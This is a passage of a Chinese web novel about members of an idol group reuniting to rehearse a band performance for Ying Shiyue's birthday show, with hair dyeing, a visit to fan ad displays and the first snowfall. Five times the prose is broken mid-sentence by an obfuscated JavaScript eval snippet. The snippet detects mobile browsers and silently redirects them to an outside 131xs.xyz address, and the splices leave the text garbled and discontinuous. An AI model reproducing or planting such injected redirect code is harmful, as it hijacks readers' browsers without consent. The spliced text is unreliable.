“好久不见。”他对着喻疏一挥了挥手,说出了这句通用的起手式,“最近过得如何啊喻哥?” ——话音刚落下,就得到了屋子里三个人不约而同的、默契的相视一笑。 “……不是,等等,”贺景然顿了顿,大概是没想到这反应,因此语气变得迷惑了起来,“你们笑什么啊?” 这话一出,剩余几人笑得更肆意了。 “我就说我们应该晚点再开始说话,”乔亦说,“搞不好有些对话还得再重复一遍。” “不至于,”喻疏一反驳说,又转头看向贺景然,“我过得很顺利。” 应时月非常震惊地看了他一眼:“你怎么回事啊?怎么这就改口了啊?” “不是你让的吗?”喻疏一说。 贺景然不明所以。贺景然试图猜测。贺景然放弃思考,最后点了点头:“哦……那就好。” ——应时月也不知道他猜测了什么结果出来。 但总而言之,除了明宸以外,first的剩余四人,便在如此一个平常的十一月下旬的上午,完成了他们的再聚首。 “对了,”应时月刚想到这里,喻疏一就又再度开口,对着贺景然问出了那个大家有时回避、有时ky、但都没有得到答案的问题,“你和明宸怎么回事啊?” 于是,贺景然欲言又止。贺景然遭遇暴击。 贺景然最终叹了口气,然后说:“过几天他反正要来……你问问他呗?” “这事已经是链团十大未解之谜里排名前三的了,”乔亦倒是以一种看热闹的口气说,“哪能这么容易打听到,你也不用试着问小宸了,起码这个人听到明宸两个字不会炸,那位可不好说呢。” 贺景然提问:“所以十大还有什么?” “二期就得占一半吧,”应时月说,“还能是什么,就他们故事多。” “但剩下一半不少还是你们几个贡献的,”喻疏一不怀好意地说,“不要这么快撇清啊,各位。” “哪有,”乔亦辩解,“你说贺景然就说他,不要地图炮在座所有人。” “这里有人最没有资格说这句话,”应时月看了他一眼,语气冷淡地发言,“你觉得是谁?” 喻疏一已经开始带头一边笑一边鼓掌了:“可以啊十月,现在发言功力见长,不会被围攻地说不出话了。” 那倒也没有。应时月心想,他很多时候还是总觉得有种……词不达意之感。只是在这件事上,旁边这两人的破绽过大了一点,所以随便说都能占据上风。 “所以我们是不是应该先排练一下,”果然,下一瞬间,贺景然开口,试图逃离这个对他而言也不是很安全的话题,“太久没磨合了,感觉忘了不少。” “我不相信你忘了不少,”喻疏一说,“但确实可以先排练一下……我最近也没什么事做。” 喻疏一家里人早就因为工作原因,跑去了国外定居。他之前在链团做偶像,拖了很多年,反而变成了最晚离开的那个人。 如今他在国内没有家人,办完手续之后,倒还真说不上有什么安排——明明两天的事,偏偏要预留两星期,看起来倒像是专门为了来见老朋友们的。 只不过大家都没挑明。 毕竟在如此日常的环境中,要抒情还是有点太……让人不适应了。 “那你想上几首大歌吗,回忆一下做偶像的感觉,”乔亦这时候开口说,“可以站我的位置。” 喻疏一听到这话,沉默了片刻,没有第一时间说“不想”——而这种态度,显然是被合理解读成了默认,于是乔亦就顺着安排了下去:“那就这样好了,这次十月选的前四首大歌刚好有两首你会我不会的,你可以站我的站位跳这两首。” “啊……那好。”喻疏一继续沉默一会,接下了这个安排——最后还是没忍心说出拒绝的话。 “而且我现在是八号位,”乔亦继续说,“没跳过八号位吧?这也是个体验,不试试多亏啊。” “那确实没跳过。”喻疏一说,接着总算是笑了起来。 喻疏一在四选前夕退队,参加过三次总选,三次都是L队第四。前两次的前三恰好是在场剩余三人,最后一次乔亦不在,但接任他队长一职的纪荇和,被粉丝投进了神七,卡在喻疏一前一位。 即使是加上没有总选那两年,喻疏一由于年纪和实力在那里,在队里的站位也最多只到过第五,就算是补位,也确实没机会站八号位。 反倒是在团期间一直比他排名高的乔亦,什么位置都跳过。这人当队长的原则就是先考虑其他人,有时候小后辈缺舞台,就让一让站位,再遇到谁临时有事,就上去替补,从一号位到十四号位就没有没站过的。 当然,站一号位的时候,往往只有他的生日公演。 “正常公演我站c的话,”乔亦是这么说的,“万一有个路人来看,会不会觉得我们团已经没有人了才会让废物站c啊?” 但废物站c又不是没有。应时月心想。 比如K队在贺景然去之前的上一位固定c,又比如他总选第一那年——虽说他的粉丝会帮他论证,说他那年的实力已经好不少了,但观众对于台上人的表现评判总归有着强大的惯性,“应时月是歌舞双废”这个刻板印象,其实直到最近两年才彻底消失。 这种安排,最核心的原因,其实所有人都知道,只是所有人都不说。 乔亦是队长,所以会将自己放在牺牲位上——那四年都是这么过来的,L队、乃至Link全员都习惯于此。 就像此刻也是一样。 乔亦说着“不会”的两首歌,都是20年那套公演的歌。 链团设计公演的时候,往往会让歌舞编排与将要第一批演出这场公演的成员相关联。这套公演设计的时候,应时月刚拿了总选第一——于是其中不乏与他本人相关的元素。 这也是他站c时间最长的一套公演,长达七个月。他很喜欢这套里的有些歌,因此便顺理成章地,往自己生公里加了两首。 乔亦的确是没赶上这套公演。公演首演,刚好是应时月骨折痊愈,从医院出来后的第一场。 但应时月知道,他最近一直在练那两首歌,虽说练不成高手,但也挺像模像样——而如今,那些练过的成果,就被他随口一句“不会”给抵消掉了。 应时月于是愣了愣,想说点什么,但又不知道说什么。 他不能说让喻疏一不上、更不能将自己的位置让出去——粉丝花钱、特地来看为他投票投出来的生日公演,他这个全场c位是没资格提出调换的。 而贺景然一个K队的,更没资格说,毕竟他在这场生公中的位置,也就只是上一个first的舞台,表演两首歌,然后在生日庆祝环节站在台子上——后者能不能兑现,还得取决于正经L队成员明宸的意愿。 但都同意重组乐队了,应该不会强烈拒绝吧……应时月这样想着,但也不是很确定。 总之,事情就这么定了下来。 * 接下来的一段时间里,四人组便趁着L队集体排练的间隙,练一练他们的舞台。 这次他们准备表演两首歌。一首是和乐队同名的《first》,另一首叫做《初雪夜》。 至于选这首歌的根源,是今年降温来得很早。于是应时月查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532618|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了天气预报,发现公演那天可能会下雪——如果刚好遇上了,那就很应景,没遇上也不亏。 大概是这样的心思,倒也并非是这首歌有什么特别之处。 应时月本来准备在fanclub提前预告,说这次会有first的重组,但被喻疏一拦住了。 “你还是不要说了,”喻疏一如此说道,“这是你的生日公演。” 其间未尽之言很好懂。 喻疏一已经退了两年,又长期不在国内,在舞台上见到他的机会,可能都说不好有没有下回。但凡说出first合体的消息,那为了他、或许还有为了明宸贺景然同台而来的观众,会大幅度挤压应时月粉丝的位置。 应时月本来觉得,也应该让想见到喻疏一的人能提前得知这个消息——但喻疏一本人都这么说了,他也没有再坚持。 而事实证明,在Link这种地方,虽然大家整天说着人太多了、任何事情都瞒不住粉丝,但只要真的想隐瞒,那确实是有密不透风的消息的。 即使喻疏一天天出没于练习室附近、每天会见到很多各个队的、认识或者不认识的小后辈,但乔亦同他们都打过招呼,在向公司报备时也说明了“想给大家一个惊喜”的情况,最后所有人都很配合,竟然没有一个人走漏风声。 大概大前辈的影响力偶尔还是管用的。应时月心想。 至于喻疏一本人,不仅天天来围观、又或者参与他们练习,甚至还在他们新宿舍楼搞了个空房间。 本来他们宿舍楼是不准非成员进入的,连大多数staff都会被拒之门外。但大抵是“功勋元老”前成员喻疏一确实地位特殊,因而公司给他大开绿灯——一切就像是他从来没走一样。 虽然所有人都知道,这只是一张10天的限定偶像再体验券。 也或许正因为如此,才在这短暂的时间里,就当他依旧是L队的一员般对待。 另一个需要解决的问题是,他们排练乐队舞台,还缺了明宸的架子鼓位。 明宸如今还在剧组,发消息说自己要25号——也就是应时月生公前一天才能回来——这还是他和剧组商量、更换了拍摄时间的结果,目的就是赶这场好友的生公。 当然,一天时间够不够这事,倒并不是很值得担心。明宸同他们不一样,这人不仅从小学舞、也从小学架子鼓,是所有人中最专业的那一个,临场上台都没问题,更别说是提前准备。 但总归是缺个人一起。最后还是意料之外的人,给他们临时帮忙补了个位置。 “架子鼓小言会啊,他挺专业的,”起因是陆语心过来闲逛、顺便拿走他那份银色袋子礼物时,顺口说了一句,“要不我让他来陪你们练?” 唐言会架子鼓,这事L队的人——或者说至少应时月和喻疏一,显然是知道的。但他倒也没想过真叫人来帮忙。 “我们真的配让总选第一陪练吗?”贺景然也同样发表了疑问。 “说得好像谁没拿过总选第一一样,”陆语心说,接着就自顾自拍板,“那就这么定了。” 于是唐言便来给他们打工了几天。 随着这两个月、出于各种各样的原因,和唐言的交集多起来后,应时月也对这人面对粉丝、面对陆语心、面对其他一期生完全是三个样子这件事,有了充分的认知。 但连着好几天混下来,又觉得这人开始有点在他们面前展露本性了——于是到最后一天,明宸终于顶着寸头从剧组回来之时,唐言开口第一句就是让他给点劳务费。 “我给你当了这么多天替身了,”唐言目不转睛盯着明宸,“给点好处吧哥哥?” “周日请大家吃火锅,”明宸也随口答了一句,说完目光环视一圈,像是看见了什么不想看的画面一般,匆匆移走视线,又补了一句,“不想来也可以。” ——有点意料之外的反应。 * 真正的first五人组还是需要单独排练几次。 等屋子里没有第六个人之后,应时月先是单独问候了一下明宸因为拍戏消失的头发,接着便同他讨论起了一些大家准备在舞台上做的小修改。 “别说头发了,我明天还得戴假发上台,”明宸像是准备抓头发,结果只摸到了一手不到两厘米的短发,非常烦躁地叹了口气,“我来看看你们准备怎么安排。” 乔亦顺手给他递过去了几张草稿纸。 明宸于是低头读起来。 喻疏一和贺景然在另一角讨论一点编排上的问题,只有乔亦坐在一边等明宸看。应时月心想这时候时机刚好,便也开口。 “我想了下明天公演生日庆祝环节喊什么人,”他压低声音说,刚好只是让明宸和乔亦能听见的音量,“你们两个人,喻疏一,然后剩下的……” “都喊上吧。”明宸开口,在应时月刻意制造的犹豫处发言,“我不是很勉强,你想喊谁都可以喊上。” 63. 金发 应时月这回确定,明宸的态度确实是出现了缓和。 虽说根据他对明宸的理解,即使这人和贺景然还是老样子,也不会真的说不让贺景然上台——但换成前段时间,他绝对不是这个反应。 乔亦好像也有点意外,扭过头看着他,欲言又止。 “看什么啊,”明宸语气依旧有点烦躁,“不准追问,到此为止。” “欲盖弥彰。”乔亦一反常态般落下四个字。 应时月笑了一声,回到最初的话题说:“那就我们这里五个人,外加喊上陆语心吧,我觉得人数上差不多了。” 倒也不是没有关系好的小后辈。 但这事总归存在一个该喊谁、不该喊谁的问题——台上同时最多也就只够站七八个人,后辈里同他关系最好的纪荇和不在,剩下人想要让应时月排序个第一第二,多少有些排不出来。 干脆谁都别喊,让这个一期生的出道日变成一期生专场也不是不行。 * 应时月的生日公演是晚上,但他难得早起了一回——甚至比乔亦还要早。 起因是昨晚刷论坛,看到有粉丝发帖说,八周年了,回顾一下一期生刚刚亮相时候的样子。 应时月点了进去,看到的就是一些陈年照片。 他进Link的时候,只是一个从来没有接触唱跳、也不怎么了解娱乐圈的普通14岁少年。 那会因为年纪还小,也没办法那么快学会如何在镜头前包装和表现自己,大家各自有各自非常不成熟之处,因此公司安排了人,来给他们策划出道的造型和个人风格。 公司并不要求他们一直将这些造型风格保持下去。与之相反,只需要在最开始的一段时间如此,后续便交由他们自由发挥——毕竟这里是每周线下见面的剧场养成系团,而不是普通男团,粉丝要看的是成长、看的是改变、看的是真实,真实的爱恨和真实的缺陷。 但最早期并不完全如此。一无所有的少年们要走出第一步,总归需要一些特别的、不那么“真实”的内容,用来吸引足够的观众。 应时月那会的风格——用乔亦后来的话说,大概是“高贵冷漠小王子”。 当然,这个属性早已被观众和粉丝抛之脑后,甚至实话说,应时月本人也有点不太敢回忆这七个字。 有种莫名其妙的尴尬和毛骨悚然感。 ——虽说这些照片正在强迫他回忆。 这个人设要扮演也很简单,对他而言,就是少说话就行,其他造型全交给公司的化妆师。 回忆到这里,应时月又想到现在链团人多了、妆造大部分时候都靠自己的现实,觉得那会他们还挺受重视的……大概。 总之,妆造师会想办法给他做出闪闪发亮的感觉,应时月要做的就是多观察、多学习。 直到公开前两三天,负责妆造的老师突然问他,你要不要染个头发。 应时月没接触过染发,也有点想象不出来换个发色会是什么样。但既然被建议了,他先是说“都可以”,又想了想,改口成了“那染吧”。 接着妆造老师思来想去,盯着他看上去是反复观察,终于决定了,拉着他去染了个浅金色的发色。 “看起来很有那种,”后来老师拉着他回到队里,绕着他左右看了一圈说,“小王子的感觉。” 乔亦那会在旁边听到了这话,还随口附和了几句——这便是后来那七个恐怖的文字的来源。 ——也是现在很多新观众都已经不太清楚的、应时月金色应援色的来源。 链团最早期没那么高热度,这些陈年照片虽然没有人刻意隐藏,但八年下来物料数不胜数,会考古到这时候的自然也不多。 比如这个金发版本的应时月,见过的人并不多。评论区好多人都说第一次见,感觉很好看。 “你说,”于是应时月一边看论坛,一边随口问了一句,“我要不要去染个金发啊?” 乔亦将视线从手机上抬起来,目光落在应时月脸上,注视了好几秒,最后才回答:“我觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532619|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以……会有人想再看到的。” “你还记得啊?”应时月说。 “怎么可能不记得,”乔亦笑了起来,“你当时的那个……你别用这个眼神看我,我不会说的。” 应时月惊恐的神色这才恢复正常。 他有百分百的把握,乔亦刚刚想说的——绝对是那七个字。 总之,他临时做下了这个决定,便光速联系了理发师,并约好了第二天一早的时间。 然后早早起床,出现在了理发店里。 * 从理发店走出来的时候,时间已经到了中午。 他今天穿的这件衣服,刚好自带了一个帽子——应时月在刚染完头发能不能戴帽子、和还是要藏一下万一在公司门口遇到粉丝提前泄露造型就没有惊喜了这二者之间犹豫了片刻,还是选择了后者。 他如此小心翼翼摸进了公司大楼,这才摘下帽子。 ——并心想,怎么不在宿舍楼了,也和乔亦无关了,还是有这种需要自己小心翼翼的场合。 first一群人直接约在了食堂见。 乔亦已经给他们说过自己要染发、所以上午不会来排练这事,所以见到他新换的浅金发色,大家看上去都不是很惊讶。 只有乔亦远远举着手机,在应时月走向他们的路上就拍了几张照片。 “你拍什么?”应时月顺口问了一句。 “这个角度光线正好,”乔亦说,语气坦然,并顺手将照片转给了应时月,“碰巧觉得拍上去很有感觉。” “但加上食堂的背景就没什么感觉了呢。”喻疏一拆台。 应时月一边笑,一边在桌前坐下。 除了他以外,明宸也换了个造型——正如这人所说,毕竟寸头不适合上台,所以他戴了个假发。这假发比他原来的头发还长不少,应时月看着一时有点不适应。 “对了,我刚刚又看了一下天气预报,”乔亦在这时候开口说,“直到现在,还显示的是下午六点开始下小雪。” 64. 线下应援 那看起来,他们的《初雪夜》,好像真的会在初雪夜上演了。 应时月心想。 于是他打开fanclub,在里面发了几句说今晚可能会有小雪,让来现场的观众记得带伞,多穿衣服,注意防滑。 接着才同大家继续闲聊和吃饭。 “拍了今晚之前暂时不要发哦,”说着说着,乔亦突然就站起身,冲着应时月身后说,“给十月保密一下他的新发色——可以吗?” 应时月这才回过身。 坐后面那桌的是一群小后辈。应时月在脑子里回忆了一会,才将人和身份对上号——好像是I队今年的新人,他不是很确定。 此时,坐在稍远点的一个男生正举着手机,看样子……既然乔亦都说了,那肯定是在拍照的。 虽然不知道拍照有什么意义。应时月心想。 看上去他们这桌唯一值得拍的,也就只有明宸和贺景然坐在一起这件事了。 乔亦说那句话的声音不算大,但也是能让周围都听到的音量。 小后辈愣了愣,然后点点头说好,接着便收了手机。乔亦这才坐下来,目光在桌上巡游一圈,用调侃的语气来了句。 “你们好受欢迎啊。” 应时月同喻疏一对视一眼,后者开口,代替大家提问:“你说的你们是谁啊?” “谁心虚就是谁啊。”乔亦眨眨眼。 “今天的汤还挺好喝的。”贺景然叹了口气,漫不经意又超绝刻意地转移话题,“从来没在食堂喝到这种味道。” “因为换了个新厨师,”乔亦干脆也就借着话题说了下去,“是老基地对面那家餐馆原来的厨师,我记得你以前也喜欢喝他们家的汤。” “啊?”贺景然语气诧异,“说实话小亦,我真的怀疑你是不是有什么全知的超能力,只是怕打击大家所以没告诉我们。” 我也怀疑。应时月在心中说。 “……那没有啦,我不知道的事肯定就不会拿出来说的,”乔亦先是高深莫测地笑了一会,最后才承认说,“早上刚好在电梯遇到了,聊了几句。” “哦,”贺景然语气居然有点失望,“原来是这样。” “我倒是想有全知能力。”乔亦又没头没尾地补了一句。 应时月看着他,而说完这话的乔亦也扭过头,同他对视,没有再补充解释。 话题便到此为止。 * 下午场的公演是K队的,贺景然早早就去了剧场,first这边不能、也不太需要再练习。 一整个下午,练习室里基本是喻疏一和明宸陪着那些L队的小后辈们,在最后练习那些他们本来不太熟悉的歌。 太过于久远的歌,L队现役成员大多数都不怎么会。所以应时月选歌的时候也没完全按照他最喜欢、最重要的来,至少选几首14人曲时,尽量选了靠近当前时间线的歌、又或者是久远但经典、因而成员们基本都学过的老歌。 但即使如此,毕竟是每年都会进新成员的地方,想要兼顾到所有人也不太可能。真要兼顾队里的新人,那总归就要辜负粉丝们想听有些歌的愿望。 这些都是需要平衡的。 每个人的生日公演都会面临这样的麻烦,但好在每年办生公的也就十几个人,还会分摊到四个队。 至少应时月是大前辈,在队里很受尊重、也很受欢迎——看上去并不是演出来的,而是小后辈们真心如此觉得。 所以大家准备排练都很认真,效果也还算不错。 至于应时月本人,则再次出了趟门。 粉丝用过生日的规格给他过公开日,那自然也有一系列同其他成员生日相同的待遇。 其中最典型的就是相同的应援规格。因而应时月这趟出去,也是为了打卡线下应援。 乔亦也同他一道,目的是给他拍照,方便之后在fanclub里发返图。 虽说走进地铁站,应时月才想起另一个问题—— 每到周末,剧场这附近就随处可见链粉,她们混入一般人群,几乎不可分辨——因此,几乎可以宣告,他上午为了保护新发色做出的努力……基本等于白费了。 虽然戴上帽子这件事也不算特别努力。 “不一定呢,”乔亦对此发表评论,“相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我觉得你搞错了——这人不是15年出生的,这个151126是出道日吧?我不是很懂他们搞三次元的一般怎么买应援,但是那边有看上去二十多岁的图。” “好有道理。” 两个人说着说着,声音连同身影一并消失在地铁出口。 而乔亦站在旁边笑得前仰后合。 应时月深吸一口气,假模假样严肃般来了句:“不准笑。” “……好了好了,主要是确实有点好笑,”乔亦硬生生止住笑声,又转过头看着他,眼神明亮,“总之——祝偶像十月八岁快乐。” 应时月眨了眨眼。 65. 初雪夜 他总觉得乔亦这话,有种莫名其妙的哄小孩的口气。 明明比自己年纪小来着,他少有地想到。但非常可耻的是,应时月觉得自己确实被哄到了。 大概乔亦说得对,比起那个他自己都没有实感的、写在证件上和表格里的8月15日,他还是会觉得,11月26日更像自己的生日一些。 它所印刻的是,属于应时月的重生——自那之后,应时月才作为“应时月”,与过往切断,真正地生活、真正地认识世界,以及被世界认识。 他指尖动了动,想说点什么,最后只说出来了:“就从这开始合照吧,你帮我拍。” “好诶,”乔亦从应时月手中接过他的手机和背包挎在肩头,又举着一个看上去就很沉重的、从林茗予那借过来的相机,“我们可以顺着一张张拍下去,你选个位置,想想有没有什么成套的动作要摆,准备好了直接说就行。” 应时月本来没想动作的问题,他计划的是随机应变,毕竟打卡应援最重要的其实只有“本人和印出来的本人合照一张”这件事。 但乔亦一说,他就开始思考了——虽说也没思考出什么好结果。 “那就顺着比数字过去吧。”应时月想到最后说,又用食指和拇指在身侧圈了个“0”出来,“感觉好没有想象力。” “我觉得挺好的,很有意义,”乔亦突然开始他的无脑夸夸大业,“就这个位置,看一下镜头。” 九张图,从2015年到今年,一年一张。 早点的几张都是Link官博放出来的官图。第一年看他们公演的人不多,几乎没有手法比较专业的粉丝返图—— “你这张脸随便一拍都不会崩的,”乔亦一边走一边说,“而且,说得好像当时那位拍照的staff很专业一样,你可以回忆一下他给其他人拍的都什么样。” “我觉得你那套也还可以啊?”应时月试图回忆,但已经想不起来其他人都拍了什么样了,“很好看。” “那说明我这张脸也不错,”乔亦顺着就说了下去,“不然早被路人用你拉踩无数遍了。” 应时月笑了出声。 最后一张官图,是2019年、那张总选第一之后的官方宣发图。至于最近几年的,确实就都变成了粉丝返图,其中大多数都是舞台图。 乔亦的目光在这些巨幅宣传图上停顿了好一会,像是在想什么。而应时月也干脆就放慢了脚步。 应时月当然知道乔亦在想什么。 ——这是他们互相缺席、但被粉丝的镜头忠诚记录下来的几年。 直到走到道路尽头。 最后一张选图,是今年总选开场舞台的图。 这是他们重逢的时刻。被拍下这张照片时,应时月还不知道乔亦正坐在观众席上观看表演。 应时月站在她前面,做了个“八”的手势,完成他平平无奇的数字打卡行为。 接着,看到乔亦已经按下快门,拍好之后,又想了想,换成用两只手比了个爱心。 应时月抬头,视线落在笨重的相机之上—— 乔亦很不明显地扬起了嘴角。 打卡完站里的若干灯箱立柱后,他们刚好就顺便坐上地铁,去了市中心那一片。 除了地铁站内应援比较集中外,剩下的应援大屏分布得零零散散,大概是为了方便身处于不同区域的粉丝。 他们还得提前回去给公演做最后的准备。来回跑时间不够,所以应时月只决定去最隆重最盛大的、位于中心商业区的那个大屏打卡——这个屏幕收费贵,应援会只买了一天,其他便宜的则买了两天。 他打算明天再去看那些。 并不让人意外的是,从市中心回去的地铁上,两人还遇到了应时月的粉丝。 这人背着他应援会今年新发布的应援帆布包,外侧口袋里还插着几个暂时没亮、但能看出来是金色款的应援棒,一看就是去看他生日公演的。 在链团,由于有握手合影签名等各种券要卖,成员们被禁止同偶遇的粉丝合影、也不准给签名,交流几句也很容易被挂出来审判。 于是女生也没有主动上来搭话,只是坐在他们对面,偶尔目光从手机上抬起来看几眼,似乎是在犹豫要不要拍个照,但最终也没拍。 她只在下地铁的时候,转过头同应时月说了句“公演顺利”。 应时月刚想回一句“好的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“会下的,我也算是半个专业的,”乔亦说,语气笃定,“相信我就行了。” 陆语心的神色还是充满怀疑。但无论如何,一行人总归是各自怀着“觉得不会下雪”或“等待下雪”的心思向剧场走着。 直到快到后门时。 某一刻,应时月骤然意识到,似乎有水落在了头顶——他顿了顿,才又反应过来,看来乔亦这回赢了。 “感受到了吗?” 乔亦停下脚步,转过身,冲着大家笑了起来:“今年的初雪夜。” 66. 开场 “你赢了。”陆语心叹了口气,然后承认,“是我对天气有不切实际的错误判断。” 于是大家都停下来,站在距离室内入口的不远处,等雪落下来。 趁着天色还没有陷入彻底的黑暗。 应时月伸出手。 有雪花落在他的掌心,然后快速融化——只在一瞬间,应时月能看出六角的雏形。 在他的家乡,冬天一般都不会下雪。 应时月小时候看到过雪花的照片,总觉得六角的图案是人为的美化——直到14岁那年冬天,第一次见到大雪,才知道多数雪花真的是六角形。 雪势很快变大,于是大家身上都逐渐染上白色。 也有雪落在应时月的发梢。拜上午理发师的打理,如今他额前的头发略有点长,于是视线里也多出几块白色的、朦胧的图案。 “看一会就进去啦,”乔亦的声音在耳边响起,“淋太多雪会破坏造型。” 应时月眨眨眼,又晃了晃脑袋,企图将发尾的雪片甩下去,但只感觉脸颊被溅到了融化后的水滴,有一大片未融化的雪依旧悬置在眼前。 “你别乱动,”乔亦声音带着笑,伸手在他发尖捏了捏,才说,“可以了,头发还是有点湿了感觉,过会进去给你吹一下——” “真的用吹吗?”应时月说,“应该很快就能干吧?” “能不能珍惜一下你今天专门做的新造型,”乔亦指责,“让它自然干的话,谁知道会变成什么样。” 总之,三分钟后,应时月还是依言坐在了化妆桌前。 乔亦拿着吹风站在他身后。应时月干脆就闭上眼,感觉强风和乔亦的指尖在自己发间游走,带来一些久违的触感。 “不知道的还以为小亦在给你画眼妆呢,”喻疏一路过并点评,“哪有人吹头发还闭眼的。” “也不是不行,”乔亦居然就接上了,“我帮你把造型画了吧,反正工具都在这——有什么要求吗?” “怎么不给我拒绝的机会,”应时月笑,但也没有真正拒绝,“随便你,没有要求。” 于是乔亦放下吹风,开始对他——对他的脸动手。 应时月也说不准自己一开始为什么要闭眼,但如今,干脆也就一直闭着,抱着一种开盲盒的心态,等待乔亦将要给自己带来个什么结果。 “可以了。”不知过了多久,直到乔亦的声音再度响起,“睁眼看看,感觉如何?” “可爱,青春,像男高中生,”喻疏一调侃的声音紧随其后响起,“感觉我们十月宝宝整个年轻了八岁。” “能不能不要阴阳怪气。”应时月先扭过头说,然后才转回视线,同镜子中的自己对视。 头发比半小时前看起来蓬松了一些,发丝和刘海的走向也有些微妙的差异——应时月后知后觉想,大概是今天一天又是戴帽子又是出去吹风吹灰尘,将它压得有些死板了。 妆造风格也同应时月平日里的风格,有点微妙的不同。 之所以说“微妙”,是因为他不够专业,确实说不出来哪里有重要的差异,但就是……怎么看起来都不一样。 如同喻疏一所言,看上去更年轻,也更像是…… 他刚出道那会的风格。 应时月虽然成长了八岁,但十四岁时候的风格放在如今这张脸上,倒也不显得违和。 “还得是小亦,”喻疏一又在一边说了一句,“只有小亦最能get到那种味道,我们都不太行。” “怎么样?”乔亦问,“像吧?” 乔亦没说像什么,应时月也没问——这是所有人都知道答案的问题。 “感觉差不多,”应时月眨眨眼说,“其实我也不太记得清当时是什么样了。” “没关系呀,”乔亦于是笑了起来,“我有照片,你要看吗?” “……别啊!”应时月突然加大音量回答,说完见到有小后辈扭头看了一眼,才觉得自己有点一惊一乍,于是压低声音说,“不要祸害我的心态。” “开个玩笑。”乔亦说,“相信我吧,这个风格大家会喜欢的……你再坐一会,我给你调整一下。” 应时月点点头,于是再度闭上眼。 * 生日公演开始于晚上七点。 应时月远远看到,正门的方向有很多粉丝给他立的易拉宝应援,但此刻广场已然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532622|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人来人往,不太可能去拍合照。 门口站着两位他认识的、应援会的成员,给进入场馆的观众发放应援袋——应时月不知道里面装了什么,只能看到尖端伸出纸袋子的应援棒,但她们给他发过消息,说会给他留一个袋子。 大概有一个金色手环,他又心想。 来来往往的观众里,大多数手上都戴着一个金色的手环。 应时月站在楼上看了一会,才转头,沿着他的道路往回走。 这是他的第五次生日公演。 但即使如此,每次开始前,他依然会有种……莫名的新鲜感。 所有人为你而来的感觉,一年里就这一回。 虽说应时月如今的人气不如他的巅峰时期,但近期回暖的势头太过于明显。那些粉丝里,有好多他在公演、在握手会见过的熟面孔,也有不少陌生的样貌,应时月看着她们的每一刻,都在努力再多记住一些。 “外面好热闹啊,”回到后台坐下后,坐在沙发上的明宸转过身说,“感觉在这里都能听到说话声。” 应时月看着他,突然就笑了一声。 “你笑什么啊?”明宸问。 “可能是觉得,”坐他身边的乔亦说,“你这个新发型实在有点好笑。” 明宸用诧异混杂着“快闭嘴”的目光看了乔亦一眼,又转向应时月,似乎是指望这人说出什么反驳意见。 但应时月说不出来。应时月只点了点头,说:“确实。” “月宝你怎么回事?”明宸控诉,“怎么和亦哥在这一唱一和嘲笑我呢?” “我觉得这不是他们的问题,”陆语心的声音悠悠响起,“你要不开一下手机前置摄像头看看。” 明宸一听,意识到了问题——十秒钟之后,大家就看着他一脸慌乱地想方设法把头顶翘起来的若干根头发按下去。 “化妆台在那边。”陆语心好心伸出手指了指,“请使用工具。” 所有人都笑了起来。 而在一片欢声笑语之中,唐言的声音响起。 “时间差不多了,”如今的他也逐渐开始习惯于队长的身份,“大家可以去准备开场了。” 67. 第二次相交 “……最后,感谢大家来到L队成员应时月的公开日公演,祝大家观看演出愉快。” 应时月说完被他篡改用词的、固定开场发言的最后一个字,冲着台下鞠了个躬,便转身下台。 台下的欢呼声紧随其后响起,一段时候后又逐渐消弭。 观众们安静地,等待前奏声音响起。 一般来说,生日公演时,相应的成员都会站全场所有大歌的C位,所以需要重学站位。 不过对应时月来说,这事成本很低——他在两套公演中担任过长期C,平日里公演出勤率高,有时也会代替出外务的贺景然或唐言。 基本L队每首歌的C位他都会跳……甚至别队的也会一些。 比如陆语心都找过他替站位。 应时月选的开场曲,是他们一期生第一套公演的第一首大歌。 那会链团产能不足,公演的歌还是少量原创曲混杂大量各处买的歌——这首歌刚好就是少量原创曲里公认最好听的,于是在商讨之后被他们作为了开场。 台下会这首call词的观众居然不少,前奏响起,经历了片刻的停顿和凌乱的欢呼声后,居然也算是一齐喊了起来——也或许是这些call词都大同小异,有人带头,所以大家都能喊个大概。 但总之,氛围很热闹。 而这样热闹的氛围,在前四首歌的表演过程中一直持续。 准确说来,是在第三首歌前奏响起、台上灯光亮起后被推上了新的高度。 